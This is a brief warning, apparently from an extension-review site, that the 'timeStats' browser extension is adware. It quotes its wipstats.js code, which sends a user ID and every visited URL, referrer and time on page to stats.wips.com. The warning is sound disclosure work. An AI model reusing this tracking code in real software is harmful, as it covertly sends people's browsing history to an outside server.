The extension "timeStats" is known to be adware or malicious, please use caution.
1. Risks Detail:
wipstats.js (User history tracking)
submit: function(url){ var submit_url = config['api_url'] + "v2/domain"; var r = new XMLHttpRequest(); r.open("POST", submit_url, true); r.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); var submit_obj = { "user_guid": wips.getPref('client_id'), "domain": url } r.onreadystatechange = function (){ if(r.status == 401 && r.readyState == 4){ wips.new_client_id = wips.uuidGenerator(); wipstats.register(); } }; r.send("data="+encode64(JSON.stringify(submit_obj)).replace(/=/,"")); }, everyUrlSubmit: function(pageData){ var submit_url = 'https://stats.wips.com/v2/site'; var r = new XMLHttpRequest(); r.open("POST", submit_url, true); r.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); var submit_obj = { "user_guid": wips.getPref('client_id'), "url": pageData.url, "id": pageData.id, "ref": pageData.ref, "load": pageData.loadTime, "spent": pageData.spendTime } r.send("data=" + encode64(JSON.stringify(submit_obj)).replace(/=/,"")); }
It will send your browser history and your computer data to their server!
2. User Comments:
Take care of these extensions!
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